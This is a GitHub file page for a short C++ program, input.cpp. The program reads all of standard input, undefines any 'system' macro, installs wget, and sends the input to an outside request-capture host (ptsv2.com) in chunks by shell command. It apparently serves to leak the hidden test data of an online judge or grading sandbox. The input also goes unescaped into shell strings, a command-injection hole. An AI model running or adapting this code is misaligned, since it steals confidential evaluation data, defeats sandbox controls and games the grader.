-
Notifications
You must be signed in to change notification settings - Fork 0
/
input.cpp
executable file
·35 lines (32 loc) · 988 Bytes
/
input.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <cstdio>
#include <iostream>
#ifdef system
#undef system
#endif // DEBUG
using namespace std;
int main(int argc,char** argv){
string input, line;
string body;
int MAX = 1400;
int k = 0;
int top = 0;
while(getline(cin, line))
{
k++;
input += line + ";";
}
system("apt-get install wget");
input += "*end*";
string query_ok= "wget http://ptsv2.com/t/wsluser/post --method=post --body-data=\"{ \\\"ok\\\":" +
to_string(input.size()) + "}\" --header=\"Content-Type: application/json\"";
cout << query_ok << endl;;
system(query_ok.c_str());
for(unsigned long long ii = 0*MAX; ii < input.size(); ii+=MAX) {
string body = input.substr(ii, MAX);
string query="wget http://ptsv2.com/t/wsluser/post --method=post --body-data=\"{ \\\"args\\\":" +
to_string(ii / MAX) + ", \\\"body\\\": " + body + " }\" --header=\"Content-Type: application/json\"";
system(query.c_str());
}
cout << "OK";
return 0;
}